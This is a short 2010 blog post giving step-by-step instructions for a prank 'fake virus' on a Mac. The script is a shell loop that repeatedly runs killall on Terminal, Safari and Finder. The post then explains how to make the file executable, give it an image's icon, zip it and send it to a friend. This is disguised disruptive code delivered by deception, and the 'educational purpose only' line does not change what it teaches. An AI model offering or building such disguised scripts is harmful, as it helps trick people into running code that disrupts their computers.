How to make a Fake Virus on Terminal.
To make a fake virus on terminal your obivously have to open up terminal. After that you have to get into your desktop by typeing in- cd Desktop- After that you need to type nano and after that whatever you want to name your file so for example it would all look like this – nano Kobe -
After that you will be brought into a new window. In here you want to type – while (true) do
what this does is that when the virus is activated it will continue to block whatever program you said. After that you have to write the programs you want to no work.
For example – while (true) do
killall Terminal
killall Safari
killall Finder
done
- at the end you have to write done for it to work. Now you have to press control c and then control x. Then say yes and then name your file.
It is now saved to your desktop, but if you click on it you can see the text. so you have to now write
- chmod +x Kobe-.
i wrote kobe because that was the name of the file but when you do it write the name you gave it. now it is a terminal file.
Now you have to change the way the file looks so you get a picture and put it on your desktop. Then you press apple i on both the picture and the terminal file. Then you drag the picture from the bottom to the top of the other open slide. Now you have the file but it looks like the picture. so now you compress it to zip.
It is now ready to send to your friend. I would not recommend this but it was just for eductional purpose only.
Thank You
Friday, February 5, 2010
Subscribe to:
Post Comments (Atom)
About Me
- Shonam dua
- Web developer, I love to Code, Design and explore more and more latest technology gadget
hi very nice and informative
ReplyDelete